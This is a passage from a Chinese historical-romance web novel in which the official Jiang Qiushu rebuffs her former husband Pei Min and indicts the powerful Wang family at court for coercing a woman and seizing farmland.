“太傅还没有子嗣,到了我这般年纪,必定是要为孩子们担忧,忧心他们学业,忧心他们婚事,就比如姜侍书这样的,倒是个极好的女子,我家郎君若是能得其青睐就好了。” 本就和离了,若是裴珉纠缠,他家儿郎不是落不到好了。 且他家儿郎,瞧着与姜侍书相配的紧。 薛明义比起方才更多了些故意。 眼瞧着裴珉眉宇似黑云遮顶,见薛明义还要说什么,李明澈连忙提着酒壶走了过去,“薛大人,晚辈敬你,与您喝喝酒。” “好啊!”薛明义笑道。 李明澈舒了口气,硬是扯着薛明义喝起酒来,让他没有心思去戳裴珉的痛。 族中的薛凛已经尚了公主,无论如何都被划成了圣后一派,如今他们薛家自然更是要听从圣后的。 圣后身边的姜侍书,更是要亲近。 裴珉如何不晓得这些,这些老狐狸看重的是什么,他又如何不晓得,只是一时的拉拢,并非真心,他怕她会陷入万劫不复之地。 此时的繁荣,不过是利益未曾有过冲突。 裴珉起身直接离开了。 宴席开始,院中百花盛开,当是盛景,可亦不少朝臣却觉着那株春幕锦华,才当的是百景之最。 “姜大人,这是我家三郎四郎,”王尚书令领着两位男子,走到了姜秋姝身侧。 当他瞧见姜秋姝的座次,眸光盯了眼大夫人,大夫人垂眸不语,她不想让姜秋姝离她儿太近。 几人相互见礼后,王三郎和王四郎瞧着姜秋姝时,神色亮了不少,出身虽低,可生的美啊! “这是九郎。”大夫人忽然指着姜秋姝另一侧的郎君,那郎君喝的有些多,“本是让九郎好生招待姜娘子的。” 此言太过直白,就连王尚书令都面露不悦,姜秋姝看着王九郎,他身侧有名侍女在替他倒着酒,当姜秋姝看过去的时候,那侍女慌了神,酒撒了出来。 王九郎也不气,拿出手帕擦过侍女的手,起身朝着姜秋姝他们走了过来。 “太公,大伯母,几位弟弟,”王九郎顺着大夫人的话道,“是孙儿的错,饮酒忘了。” 王尚书令只嗯了声,然后看着其余的人,“姜大人是贵客,好生招待。” 几位郎君连忙称是。 待王尚书令离开此处后,姜秋姝只颔首回了自己的位置,她暗暗打量起方才那位侍女来,是前几日在巷子里遇见的那位。 她确实查到了些事,这位娘子姓吴,并非自愿入的王府,只为了让家弟能够有钱参加科举,而吴家所租赁的地却是王九郎的。 王家倒是个极好的口子。 几位王家郎酒想和她说什么,姜秋姝只道要去更衣。 王三郎和王四郎破位遗憾。 她起身出了院子,有婢女在前引路,过了小桥,便遇上了裴珉。 她侧身经过,却被他抓住了手,姜秋姝垂眸看见他被巾帕包裹的手,上面血迹渗了出来,那道牙印也极其清晰。 自从与裴珉再次相逢,裴珉可真是多灾多难,前几次是她造成的,这次可不是! “世家如今奉你为座上宾,王家薛家皆派人接近你,你不要信了他们。” 姜秋姝抽离了自己的手,叫退了周围的人,“裴大人我乐意。以往被定国公府处处嫌弃,如今却被众人高捧。即便是一时的恣意,我也认了!” 姜秋姝故意说了这样的话,想要瞧瞧裴珉的反应,“我到了江都,是如何起家的呢?靠的也是裴大人封口的一万两。有钱又有权,我乐意的很,关裴大人何事!” 裴珉并未被她所激怒,只格外的冷,“官场不适合你,小满你去圣后面前辞了侍书之位。” 姜秋姝险些笑了,她忍住,因裴珉的自以为是,更是因他自以为是的为她好。 “然后重新做了你夫人?我如今很好,世间有很多好儿郎。裴珉!上回我与宋执书是假成婚,说不定不久后,你当真能喝到我的喜酒。” 婚事拉拢是下下之策,却是让裴珉不再纠缠的良药。 第50章 第50章死绿茶 裴珉捏紧掌心,原本止住了的血,又渗了出来,“别说气话。” 滴滴血迹落在了地上,姜秋姝只是默默注视着没有任何的感觉,甚至更多的是疑惑,“裴珉你心悦我什么?相貌?性子?其实你并不需如此。我也会老,说不定几年后,没了这副样貌。 世间貌美的女子众多,你若是想要,以你的身份家世,不会缺。性子?那更不会了,若你心悦的是在定国公府中被你所禁锢的我,那并不是真正的我,我粗鄙,学不来世家女的文雅,也不安于室,做不了贤妻良母。” 她是真的不晓得,裴珉为何到了如今,还不放过她,她以为他们间早就决裂了。 她假死骗过他,伤过他,在他面前与旁人拜堂,甚至示威般,弄倒了他的房屋,桩桩件件都没有手下留情。 若他喜爱的是,以往那个假装温良贤淑的人?她根本就不是。 若是,他心悦的是本来的她? 姜秋姝心里直接否定了,若是心悦又怎会想着,将她变成另外的模样? 裴珉没想到,她为了与他两断,竟然说出了这般辱没自己的话。 可若是他能知晓为何心悦她,便也不会如今日般的痛苦。 只她离开后,那个新婚时尝尝纠缠着他,恣意开怀的姜秋姝,时常出现在他脑中。 他从一开始便是错的,禁锢自己的欲望,羞于与她亲密,怕那般污秽的自己叫人看低。 圣贤典籍也未曾教过他,如何纾解自己的欲。 只能藏着,直到彻底控制不住的那天。 裴珉掩住眼底的失神,“小满,你想要什么?我都可以为你办到,只回到我身侧。” 他渴求的看着她。 姜秋姝摇了摇头,“裴珉,我对你没有丝毫的感情,你所做的不过是强求,我厌恶至极!今后我亦不会在与你有过多的纠缠,你且记住,今日的姜秋姝不再是你能随意摆布的。日后你我只当同僚,生人。我要做的一切,用不着你来管。” 这是她最后一次与他说清楚,兜兜转转纠缠了这么久,她也累了,很累。 裴珉只是触摸着虎口处的牙印,眼里的执着并未因姜秋姝的绝情,有一丝一毫的退散,“小满,这道伤口,它永远也不会消散。” 姜秋姝蹙眉,那道牙印像是嵌在了裴珉的血肉中,清雅的人,因这道牙印瞧上去多了些暧昧之色,染了尘埃,似沉溺酒色的浪子。 不晓得他又做了什么?姜秋姝不以为意地转过身去,离开了此处。 裴珉眼中光逐渐淡了,唇角轻笑拧着,升起股邪气,他怎样都留不住她,无论他看了多少的书籍,学了多少伺候人的法子,沉沦的只有他一人。 将她锁起来,她也能想方设法的逃走,她是铁了心,要离开他。 裴珉伫立,掌心的疼让他毫无知觉,他只是触摸着虎口的牙印,这应当是她留给他最后的东西。 切肤之痛。 姜秋姝走出了园子,王家她并不熟悉,可刚过了假山,便又遇上了王九郎。 “姜娘子去何处?在下可领你一道。”王九郎笑的风流,实则眸光落到姜秋姝身上不以为然。 美则美,可却没有女子该有的气韵,和男子混在一处,好好的女子,当什么官! 可府中几位夫人各有思量,皆不想自家儿郎与她有关系,他倒是无所谓,娶了便娶了。 姜秋姝看了看王九郎身侧的吴娘子,颔首道:“正要回席上,九郎要一块儿?” 王九郎笑的缱绻,“有美相邀,莫敢不从!” 几人一起往外走,忽然吴娘子似踩在了青苔上,险些滑到,好在王九郎眼疾手快将人给扶好,他神情担忧,来不及掩饰。 姜秋姝将一切都看在了眼中。 吴娘子看了眼姜秋姝,连忙从王九郎怀中离开。 几人回到了宴席上,姜秋姝喝下了王九郎敬的酒,瞧着两人比方才要热络了些,王大夫人隐隐松了口气。 只要不是她孩儿都好!九郎虽然浪荡,但也是王家人! 姜秋姝起身,到了王九郎身边,刚要敬他酒,可倒酒时,手一滑,洒到了王九郎身侧的吴娘子衣裙上。 她迅速拿出绣帕,替她擦着,快速在吴娘子耳侧说了句话。 吴娘子神色略惊,在王九郎忧心拉过她询问时,连忙遮掩住。 “姜侍书未免太粗心了!本殿下都开始怀疑,你能否在母后身边当好值。”二皇子不晓得何时走了过来。 今日,来王家赴宴的除开了李长宁,其余几位皇子皆来了。 “不过是小事,到了殿下口中轻易都能牵涉到朝政,若是殿下踏进宫门时,不小心先迈了右脚,臣是不是该担心殿下忘了尊卑。”姜秋姝恭敬却又不失气度,言语间犀利的很。 大周以左为尊。 “好张伶牙俐齿的嘴!”二皇子愤声道。 “多谢殿下夸奖。”姜秋姝不卑不亢道,她早就得罪了二皇子,如今即便撕破了脸,也是不怕的。 “哎呀!二哥,”四皇子揽住了二皇子的肩膀,“你未免太小题大做了!” 连四皇子都能这般说他了,二皇子更是气恼,四皇子直接将二皇子,带到了自己的位置上。 “二哥,如今姜侍书是母后近臣,咱们这些儿子都是要靠着母后的,你说你怎敢与她计较。若是她在母后身边吹些耳旁风,有你受的了!” 二皇子晓得自圣后掌权,一切都不似以往,可在四皇子的话中,他如今连个小小的侍书都不能得罪了! 二皇子气恼到了极点! 四皇子却又道:“即便,你以往与姜侍书有嫌隙,看在母后的面子上,还是客气些!” 二皇子冷然,他凭何对个市井女子客气! 本就是牝鸡司晨,乱了阴阳,这朝堂成什么样子了! 以往父皇当权,他尚在户部主事,如今圣后掌权,前不久因江都水患,牵扯出官吏贪污一事,虽还未查清,可里面有他的人,他也因此被罢免了职务,如今被手里的事儿,全给了三皇子。 他不甘心的很,父皇当真昏聩,如今重病在床,却那般信任圣后! 他的母妃,难道就不是父皇的妃子了吗?! 既然那般宠爱圣后,又为何要纳了他母妃,再生下了他,真是不公! 皆是父皇的孩子,却因为生母不同,以往还有与三皇子一争的可能,如今呢! “二哥,只要咱们好好听母后和三哥的话,又恭维着母后身边的人,日后依旧能享皇子之尊。你还是莫与姜侍书斗气了!叫母后晓得了,就糟了!”这句话四皇子是压低声音说的,四皇子跟三皇子亲,母妃亦是以往伺候圣后之人,做小伏低习惯了! 这般怯懦的模样,哪里还像个皇子! 若要他如四皇子蜷缩身子,俯身叩拜,还不如杀了他! 二皇子推开了四皇子的手,“滚!” 四皇子也不气,他在诸位皇子中,向来都是任人揉搓的! 二皇子看着姜秋姝的位置,眼底阴暗,他不服! 时辰不早了,离开王家时,薛诰约好了要去向她探讨,如何种植花草一事,姜秋姝不好推拒,便也应下了。 上朝时,江都水患贪污一事被彻底查清了,原本拨银三十万两,可到百姓手里连三万两都不剩,圣后将奏章扔在地上,眉宇间笼罩着一层阴云,朝臣缄默,生怕此时触了霉头。 三皇子更是因此藏头缩尾,先前他便被撤了职,如今怕得脱层皮。 “所以?这便是大周的好官!”圣后声音夹了冰,叫人冷的不敢开口。 朝上一片寂静,却没有搭腔的。 姜秋姝却在此时出了列,“娘娘,新米放久了难免会生了蛀虫,您是天下之母,能够及时查清这些蛀虫,还百姓一片清明,已经叫臣钦佩了。” 朝臣挑眉看了眼她,谁不晓得圣后最不喜溜须拍马,这位刚入朝的姜侍书,怕是拍在马蹄上了。 他们皆屏息凝神,看着圣后会如何斥责她。 谁料,圣后竟然问道:“你觉得该如何是好?那么多的贪官污吏,一时间都清除了?” 朝臣多是行中庸之道,刚柔并济,避免行事极端。此事倒也算好办,惩大贪,罚小贪,方为平衡。 可姜秋姝的话,叫人吃惊。 “食君俸禄,便该为君分忧,该杀伐果断,断了此次的歪风邪气,臣相信百姓皆是会感恩戴德的。”姜秋姝沉声道。 圣后抬头问道:“喔?姜爱卿的意思是?” “杀!” 一字落下,朝臣议论纷纷,立刻有人站出来言此太过,底下的人没有方才的寂静,此刻朝堂,犹如市井叫卖的街口。 “娘娘,姜侍书到底不懂朝政,实乃胡言乱语!” “娘娘,此番牵扯的人太多了,若是皆杀了,那百官空缺该如何是好!” 裴珉紧皱的眉心没有松懈,眼神沉沉的眺望着上首并没有丝毫退让的姜秋姝。 “好好好!众爱卿男子之身,却比不得女子的果决!”圣后声落,朝臣皆看了过来。 “娘娘,”此时裴珉忽然插了话,“臣以为该杀!我大周百姓千万,不缺这些蛀虫,臣以为杀一儆百,可震慑群臣!” 裴珉话落,原本还指责姜秋姝的人,皆捋须屏气,不怕裴珉的魏御史,直接指着裴太傅是要行苛政暴政,令天下万民失了心 魏御史话一出,像是开了口子,群臣皆话里话外说着裴珉 裴珉却道:“轻拿轻放,只会让百官觉得事小,恐会有更多无畏者违律!” 许是裴珉态度太过坚决,百官反对上一句,他都回了过去,如此倒是忘了先前姜秋姝所言,百官皆说起裴珉的不是来。 “裴太傅为官多年,怎也变得鲁莽了!” “只论杀,裴太傅未免失了仁慈之心,无法叫我等信服!” 姜秋姝眸光落在了裴珉身上一眼,他与群臣对论,话越来越热,反倒是少了对她的攻讦。 “吵什么吵!”李长宁忍不住在此时开了口,这些日子里,李长宁倒是时不时出现在朝堂,可是基本未曾开口。 众人也没当回事儿,可听了她开口,有一时间的怔愣。 “犯了律法就按律法来,你们这些老腐朽,以往恨不得指着律法一条条诵读,如今却要什么仁慈?对贪官要什么仁慈?莫不是这其中诸位大臣也曾参与,莫不是他们贪污的钱,皆入了各位大臣的口袋吧!” 李长宁的话,叫原本群情激奋的朝堂立刻安静了,此时若是再说,当真如李长宁所言,与那些贪污的大臣,暗地里有了勾结。 阴司被搬上明面上,可是要了老命的。 圣后视线落在了裴珉身上,裴珉将话接了过来,她一点儿也不意外,只是…圣后看了眼李长宁。 李长宁扬唇一笑,倒是很自豪,能镇住这些大臣。 “此事?交由裴太傅处理吧!”圣后下了定论,朝臣就是再不甘,只能噤了声。 裴珉垂首应是,武官首列的定国公却是变了脸色,抬眸盯着姜秋姝,眼里夹杂着雷霆之怒。 姜秋姝始终浅笑着,即便这位大周的战神并不满意她! 以往在定国公府时,定国公少与她讲过话,她晓得他并不喜她。 即便她是裴珉夫人时,定国公从未正眼看过她! 只是今日,他儿惹了群臣的恼怒,皆因她之故!他才看了她眼,不过是恼怒! 她何其无辜,早就与裴珉划清了界限,可他偏要腆着脸凑上前! ~~~ 第二日休沐,姜秋姝便想着将花园彻底整理出来,刚刚清理了会儿杂草,便听见敲门声,她起身去开门。 薛诰提着几盒子糕点,笑盈盈的举在她面前,可看着她此刻的装束,愣了神。 发髻高高束在后,只用了根儿发带做装饰,衣裳也是简单的常服,连个花纹儿都未曾绣,浑身上下连个首饰都没有,只襻箔将袖子绑住,露出洁白细嫩的手臂。 简单却遮不住姿色,让人移不开眼。 薛诰只将眼神落到那手臂上一瞬,脸颊微微泛着红。 姜秋姝未曾察觉,手上沾染着泥土,不好去接薛诰的东西,薛诰连忙提着东西进来了,放在石桌上,他环顾了院子。 想来,她应当是在整理着花园。 “我来帮你吧!”薛诰挽了挽袖子,便要蹲下身帮忙。 姜秋姝虽说答应他,与他探讨养花一事,但大都还是客套话,没想到只隔了一日,薛诰便来了。 “不必了。”姜秋姝拒绝的话刚说话,薛诰已经徒手拔起草来,原本干净的手,沾了泥土,她倒是不好说什么了。 多了一人,倒是比姜秋姝一人要快些,过了一个时辰,这片花园已经处理差不多了,姜秋姝除开买了些花苗,还有些种子。 便边种着边便与薛诰说起这些花的习性,本来薛诰便是来请教这个的,如此说来也是落到实事上了。 “姜娘子怎会这般了解这些。”薛诰问道。 “我家便是种花的,”姜秋姝种下了株牡丹花苗。 “那真是极好了!”薛诰笑道,“我太公最是喜爱种花养花,可偏偏从未有花草在他手里能活过一月的!” 薛明义看起来确实是个喜爱花草的,在与她多次的谈话中看得出,可这位薛郎君瞧着却不像。 即便此刻碰触到泥土,他并没有嫌弃的神态,可种花时动作生疏,像是从未碰触过,即便府中有下人做此事,可他却连兰花苗都不识得,怎可能是来与她谈论什么种花。 “姜娘子,我带了点心来,是御心坊的,可难买了!”薛诰净了手,拆开盒子,拿了点心过来,然后又恍然大悟道,“娘子你不方便?” 姜秋姝拍了怕手上的泥,想要去接。 他直接拿起糕点,递到了她嘴边,眸子晶莹像是十分的期待,“你尝尝。” 姜秋姝先是愣神,而后唇角勾起了个若有若无的笑,原以为是个清澈的少年郎,如今看来,洛阳的世家郎君,便没个好相与的。 她看了眼他,往前凑了凑,咬住了点心,另一半留在了他手里。 薛诰脸更加的红了。 当姜秋姝想要咬第二口的时候,门忽然开了,两人望过去,刚好看见了裴珉走了进来。 也是方才姜秋姝手脏没有栓门。 姜秋姝移开了视线,在另外两人的目光中,将另一半的点心,给含在了嘴里。 “姜娘子可好吃?”薛诰亦收回了视线,问道。 “极好!”姜秋姝继续弄着花,又问道,“只买了这么一种?” 薛诰忽然心领意会,连忙拿了另一种口味的,喂给她,“你再尝尝!” 姜秋姝笑容多了几分,凑上前想要咬下,可薛诰的手,被另一只手给桎胁住,点心到了裴珉手里。 “裴太傅。”也是此时薛诰才向着裴珉行了礼。 裴珉一口便将点心吃了个干净,“这家的糕点腻得慌,吃了还会发胖,女子不会喜欢这样的吃食!” “原是这样?”薛诰连连点头,“也怪我不晓得女子的心,裴太傅不仅岁数比我长些,就连女子了解的也比我多。” 薛诰一脸羞愧,看向了姜秋姝,“姜娘子,你莫怪,下回我给你带旁的吃,我府中的点心家中阿娘和妹妹们都喜欢吃,应当不会发胖。” 裴珉愠色渐浓,尤其是当薛诰委屈的凑近姜秋姝时,裴珉生平从未这般想过将人给扔出去! 他遇见的男子有虚伪的,有堂堂正正的,可瞧着薛诰,他几乎说不出话来,实在太恬不知耻了! “不碍事儿,”姜秋姝轻声安慰道,“吃几块儿点心又怎会胖呢。心意无价,这些点心我都甚喜。” “那就好!”薛诰舒了口气。 两人温声说着话,似在体谅着双方,裴珉眼眸逐渐转变成了戾气,“薛郎君可否离开,我与小满有话要说!” 薛诰迟疑的看了眼姜秋姝,姜秋姝并未说话,他便没有离开的心思,可忽然来了几名侍卫,一边一个桎住他的肩膀,将他拖了出去。 没了旁的人,姜秋姝直接坐到了石凳上,“裴大人又是在做何?” “你在查王家的事?”裴珉心头郁气在薛诰离开时散了些,“王家庞然大物,以你孤身之力,难以抗衡!小满我不愿你因此丧了命!” 姜秋姝默默的看着桌上的点心,解开了系带,看着神态各一的模样,有荷花,有兔子,有狸奴,憨态可掬。 她选了个兔子,一口咬掉了脑袋。 裴珉走到了她对面,“你别这样!” 这点心,并不像裴珉说的那般腻,她吃起来正合适,等咽下最后一口时,“裴大人,你说再多,不过是浪费口舌。” 裴珉心中的忧愁,几乎要压抑不住,她此刻行径跟寻死没有两样。 他真想将她锁起来,只求她安全便好,即便她会怪他! 姜秋姝却察觉到什么,提醒道:“别做我不喜之事,否则鱼死网破!不是你死便是我亡!” 裴承垂眸,压制着所有的情绪,进不能,退又不能,如何才能护好她? ~~ 夜间,一青衣女子进了姜秋姝的院子,过了一刻钟,泣声撕心裂肺,只叫人听着也心酸。 姜秋姝整理好所有,窗边是咕咕的鸽子声,她解开信桶,看完后,最后将那张纸条点燃。 火光燃尽,只剩下灰烬。 太极宫,京都水患一事,已经得到了解决,只是裴珉受到了许多的谴责,皆是在说,他行事太过残忍。 原本裴珉风评极好,可此事后,坊间多了不少诋毁他的话。 内侍监扬了浮尘,高声道:“有事起奏,无事退朝!” 圣后揉着眉心,瞧着神情疲惫,朝臣上奏书参裴珉行事,圣后只当没瞧见,看了内侍监眼。 内侍监又一阵高呼,朝臣寂静,只不过忽然响起一道声音。 “臣有事启奏。” 姜秋姝朝着圣后施礼,朝中不少大臣,只是好奇的看着她,也不晓得这位一直很安静的侍书,有什么话要说。 “臣状告王家九郎,强抢民女,私占百姓土地。”姜秋姝一字一句道。 底下朝臣听了此言,皆是一脸错愕,可反应过来,皆称奇,连王家都敢告,姜侍书是吃了豹子胆了! 入朝两月,姜侍书一直很谦逊,对朝中的大臣也不托大,并未犯过错,还常常惹得圣后发笑,朝臣当她是个聪慧,且懂得明哲保身。 王尚书令脸色一下变了,呵斥道:“姜侍书莫要信口雌黄!” 裴珉捏着拳头,无可奈何的看着她,早就晓得她不会听他的。 他的心渐渐沉了下去,如今,这刀山火海,她必定要淌上一道!【你现在阅读的是 】 50-60 第51章 第51章抗衡世家 朝堂之上因为姜秋姝的一番话,又变得激烈起来,他们看着姜秋姝的眼神,如同看蝼蚁一般。 好好的侍书做着,得了些殊荣,便不晓得自己姓什么了! 王尚书令垂眸,神色丝毫未变,尽管此事是针对他们王家,可是一个小小侍书能如何?便是圣后都不敢! “臣要告姜侍书构陷他人,污蔑我王家,”王尚书令侧身站出列,“娘娘,此女信口雌黄,我王家为了大周劳心劳力,我孙儿又怎会做出那般无良一事!” “王大人何必着急,臣既然要告,便是做足了准备,平白冤枉人的事,臣可做不来!”姜秋姝居高临下的看着朝中人的神情,此处当真是个好地方,能将人的表情看了大概。 鄙夷,疑惑,不屑,皆是觉得她以卵击石。 有证据?王尚书令抬眸瞥了姜秋姝眼。 本是有心提拔一二,撮合她与府中郎君,如今看来此女真是不识好歹! “既然有证据便呈上来吧!”圣后摆摆手,不想听他们争论。 姜秋姝颔首,大殿里进来了个女子,她一身素服,只头上别着朵白花。 “民女吴月拜见圣后!”吴娘子跪地,俯身不敢起,“民女本是洛阳清山村人,早先家族靠租地种庄稼为生,前年阿耶挣得银两将土地买下了,家弟更是考中了秀才,本该双喜临门。可今年一月,家中的地契却被官府的人说是假的,阿耶花费了半辈子积蓄买的土地,竟然还是王家九郎的,一气之下阿耶病重,二月亡故了。 家弟要继续读书,可家中没了银钱,王九郎便是在这时,逼迫民女入王家,任由他糟蹋。民女为了阿弟未来,便就认下了。可前几日,民女才晓得阿弟早就去世了,民女不甘!王家九郎下套,勾结官府骗了阿耶,又故意糟践了民女,阿弟所告无门因他而死!” 吴娘子更恨的是叔伯一家骗她,骗她阿弟还在私塾好好的,只是事忙不能来看她。 她将自己身上的东西都给了他们,只希望他们能够照顾好她阿弟。 吴娘子跪在地上,眼泪滴落,身体止不住的发抖,恨意难过太多的情绪冲击着。 王尚书令确实在王九郎身边见过几次这女子,不过只以为他是王九郎身边的婢女,没想到还有这么回事儿。 “什么证人?不过是诬陷府中人罢了!前儿请了姜侍书过府参加宴会,瞧着与九郎相谈甚欢,只不过九郎私下曾与臣言,姜侍书太过殷勤,叫他不堪其扰,又不好驳了女子的颜面。姜侍书为了出气,也不该随意找个女子来攀扯。” 王尚书令没有丝毫的害怕,甚至轻笑了出声。 这话,叫在场众人都想起了,不久前姜秋姝向王九郎敬酒一事。 他们底下议论纷纷,王尚书令这般不过是将朝政之事搅合到儿女情长之上。 所以啊!女子为官大都是笑话,只消一些流言,便能让她们无地自容。 姜秋姝朝着圣后道:“一人之言确实失了偏颇,不如唤了王九郎当面对质!” 圣后点头,不多时王九郎被带到了殿前。 王九郎跪在了吴娘子身侧,瞧见她眼底的猩红,还有些惘然,只是他很快反应过来,“并无此事,此女乃是臣的婢女,不晓得因何之故,来此攀咬臣,臣猜测是受了姜侍书迷惑。” “王九郎你丧尽天良,必定会受到老天惩处。”自从听闻阿弟亡故的事,吴娘子早就没了生的希望,只想要报仇。 她可以任他随意玩弄,可凭何连她最后的希望都剥夺了,离开家时,阿弟留给她的最后句话,便是一定会接她回去。 “光是听此女子的一言,怎可说臣孙儿,抢占民女,抢人土地?老臣才要告姜侍书不堪任侍书之责,臣祈求圣后削了姜氏的职位,贬为庶民。” 王尚书令义正言辞,文官之首自然有不少朝臣应和。 “这样的人证,臣想要叫来多少都有,若是臣找来两位男子,皆说与姜侍书有染,是否可告姜侍书通奸!” 话落,一片哗然,其中嬉笑不在少数。 姜秋姝嘴角弧度未变,心里的嘲讽,随着这些男子荒谬的言论越演越烈。 所谓最毒不过一张嘴,名声只是用来禁锢女子的囚笼。 她看着那位满口胡诌的大人,冷然道:“大人可试试!若是我亦找来男子这般说你生母与妻子呢!或是再找来男子,言大人品行不端,亵玩娈童呢!” 那位大人噤了声,连笑意都止住了,“姜大人放肆了!” “放肆的是诸位大臣!圣后还未开口,便急于将帽子扣在了本官头上!言与王九郎有纠缠,王尚书可睁大眼睛好好瞧瞧,本官是否看的上!”姜秋姝愤然道。 “她连我都瞧不上,如何能瞧得上个王九郎,诸位大人觉着本官与王九郎比如何?”不晓得何时,裴珉忽然开口,叫朝臣听得愣在原地。 裴太傅对姜侍书还真是念念不忘?! 为了维护她,连这番话都说得出,两人虽然早就和离,可裴太傅分明旧情难忘。 如此贬低自己,只为了替姜侍书陈情? “喔?”圣后终于开了口,“姜侍书连太傅都瞧不上,王大人讲姜侍书和王九郎的事,难免混淆视听。” “裴珉你!”王尚书令没想到裴珉会忽然来搅局,世家间向来是相互扶持,如今裴珉是在做什么! 是要和他们王家决裂吗? 王尚书令看了眼定国公,定国公直接出列,“裴太傅无状,圣后莫听他胡言。王大人为朝廷鞠躬尽瘁,王九郎世家儿郎风度翩翩,怎可能为了个农女做出荒唐事,还请圣后明鉴。” 王尚书令神情好了些,可在看向裴珉时,恼怒地挥了挥袖子。 姜秋姝看着王九郎,嘲讽道:“臣既然敢告,便不只是有证人,只是臣还未说,王尚书令便想要堵了臣嘴,怕是做贼心虚了。方才王九郎说,吴娘子是你身边的婢女?并无旁的关系?” 王九郎犹豫了瞬,可在王尚书令的目光下,还是点了点头,“自然。” 若是承认有旁的关系,她便又可告他强占婢女,即便有吴娘子的身契在,依照大周律例,不顾女子反抗强迫了,若是良民判处流放,若是贱民,也要杖责五十棍,且徒一年。 若是判了,他仕途无望。 无旁的关系?姜秋姝嘴角的笑意更是大了几分,“吴娘子,你可认?” “民女不认,”吴娘子愤恨的盯着王九郎,又闭了下眸子,压下所有的情绪,再度对着圣后一拜,稳住身子的颤抖,“王九郎**,离腿根一寸的距离之处,有颗红色的圆点儿,诸位不信可查验。” 朝臣听闻女子这般说,若是没有肌肤之亲,怎会晓得那样荫蔽的东西。 他们心里责怪起王九郎不够谨慎。 “臣没有!”王九郎没有方才那般惊慌,反倒是镇定起来,他才是最晓得自己有没有的,可为何她会说的那般坦然。 若是查到他没有,岂不是证实,她实是在诬告,王九郎看了眼吴娘子,“娘娘,吴娘子是我身侧之人,应当是受了姜侍书的蛊惑,才故意诬陷于臣。” 姜秋姝倒是讶然,王九郎这为吴娘子脱罪的举措。 “查!”圣后喊来了内侍监,内侍监领着王九郎去了屏风处。 过了一刻,一切言明后,王九郎没有方才的胜券在握,他脸颊苍白,看着吴娘子的神态中带着不可思议。 那是她最亲近他时,暗地里弄上去的! 他那时醉生梦死,早就被欲望冲破了天,哪里还能注意到那些! “回娘娘,王九郎腿间却有红点儿,与吴娘子所说不差。”内侍监禀告后。 “你还有什么可说的!”圣后问道。 “臣,吴娘子确实是臣通房,可除此之外,臣未曾抢占旁人的土地。”王九郎连忙道,如今之际,只能认下强占女子的罪名。 姜秋姝却笑了起来,他们可真当她蠢得,若是无准备,怎敢当朝状告,姜秋姝从袖子里掏出罪状和账本递给了圣后。 圣后看完了后,下方朝臣还在争论着,大都是在护着王家。 这朝堂,王家为文官之首,坚固异常,越是坚固越该该松松土了。 圣后将账册扔在地下,“好好看看!” 薛明义将账册捡了起来,看完后,便递给了其他的大臣,不一会儿的功夫,朝堂便安静了下来。 王九郎看着吴娘子,眼里悔恨交加,吴娘子根本就没去理会王九郎,求圣后替她伸冤。 王九郎一脸颓败,“此事臣一人所为,与王家并无关系。” 姜秋姝站了出来,“臣曾说过,新米放久了总会滋生蛀虫,王家既然出了个王九郎,难免还会有其他的事,即便王九郎将一切罪责皆揽在自身,可王尚书令治家不严,亦有罪责,臣请求彻查王家人。” 朝臣此时,倒是拧成了一股绳子,尤其是洛阳几大世家,指责起姜秋姝辱没了王尚书令,又言王尚书令为朝廷夙兴夜寐,不该受此折辱。 群臣大部分皆持反对,只少数没有依靠世家的朝臣,尚在观望,只一道令姜秋姝意想不到的声音响起,“臣亦赞成彻查王家。” 说这话的是郑明恪。 他俯身道:“正如姜大人所言,王九郎做了错事,可受益非王九郎一人,还有王家其他人,臣以为王家人犯了包庇之罪,甚至其中主犯指不定非王九郎。” “那…便彻查吧!”圣后思考了瞬,“此事何人敢接?” 朝臣寂静一片,不敢应,此等事若是接了,便彻底得罪了王家,王家根基深,即便查出了问题,不会轻易倒塌,他们还想要在朝堂中立足。 “臣请愿,”姜秋姝拱手作揖,“朝臣惧怕王尚书令的官威,臣不怕!” 有些官位较低的大臣,听姜秋姝这般说,一时羞愧不已,女儿家都不怕,他们七尺男儿却退缩了! “好…”圣后还未说完,便又有一道声音。 “臣以为此事不该由姜侍书来,她资历尚浅,此事涉及三朝元老,朝中重臣,她没有资格来查办。”裴珉站了出来。 “那太傅觉得,此事该交由何人来?”圣后扬了扬眉,状似疑惑道。 “臣。” 裴珉拱手而立,此刻指摘声几乎要将他淹没了,原本还算镇定的定国公直接出列,“娘娘,臣家五郎既为太傅又掌中书令职责,事忙。实在没有功夫办此等大事,查案本该由大理寺和刑部负责。” 此事大理寺和刑部的官员站了出来,“臣…臣乃王大人的学生,该避嫌。” 圣后思量了片刻,将目光转向姜秋姝时,裴珉却没给圣后开口的机会,“娘娘,臣可担此任。” “臣也可!”郑明恪也在此时开了口。 “那便交给三位爱卿吧!”圣后没多想,“此事由姜侍书主理,郑大人和裴太傅事忙,便从旁协助。” 裴珉还想说什么,姜秋姝却立刻接下了旨意。 裴珉唇角抿成一条线,如今是亲眼看着她往火堆里踏,他不能只看着,便挡在她身前吧! 离开了皇宫,坐在马车上时,姜秋姝将披风给她,吴娘子身体终于没那么发抖,只是抓住系带问道:“他会如何?” “数罪并罚,约莫会死。”姜秋姝其实能够感觉到,王九郎对吴娘子有那么丝真心,可叫她家破人亡的真心,还是太过廉价了! “好”吴娘子合上双眸,是释怀,是畅意。 定国公府。 下了朝,定国公气的吹胡子瞪眼,此前已经有过一次了,裴珉站在姜秋姝身前,挡住了百官视线,要求严惩贪官,引得群臣激愤,如今又要与王家撕破脸。 “裴珉,家中养育你这么多年,教养你的难道是不顾大局?世家能繁荣至今,靠的便是不树敌,少出头。你如今要与王家抗衡,是要置家族何地?”定国公最好耍鞭,自腰间解下一鞭子挥去,花瓶碎了一地。 “不过个女子而已,为了她,你要再疯一次吗?”原以为裴珉变得果决是好事,他们武将家生了个文臣,本也曾让他不喜,可是裴珉短短三年便坐到了如今的位置,倒是让他刮目以待。 “既然已经和离,便重新聘个妻子,”定国公叹了口气,“日后少与她来往,我便饶了你这次。你明日便去圣后面前推了查王家的事。” “绝不!她并未只是个女子而已,她是儿珍宝。儿此生唯她一人。”这样的话,他从未对她说过,在定国公面前直言,才会叫他晓得她的重要。 “孽子啊!”定国公见他死不悔改,抽出鞭子便朝他挥来,“来人!请家法!” 外边儿的奴仆踟蹰不动,他们也不敢啊! 这可是当朝太傅,中书令。 “便是家法又如何?”裴珉起身,没理会定国公的反应,“我依旧会护着她,国公若是担忧我牵连家族,便逐我出家门。” 定国公气的坐在椅子上喘着粗气,裴珉如今的权势,将他逐出家门,他又怎舍得。 裴珉哪里看不清府中人所想。 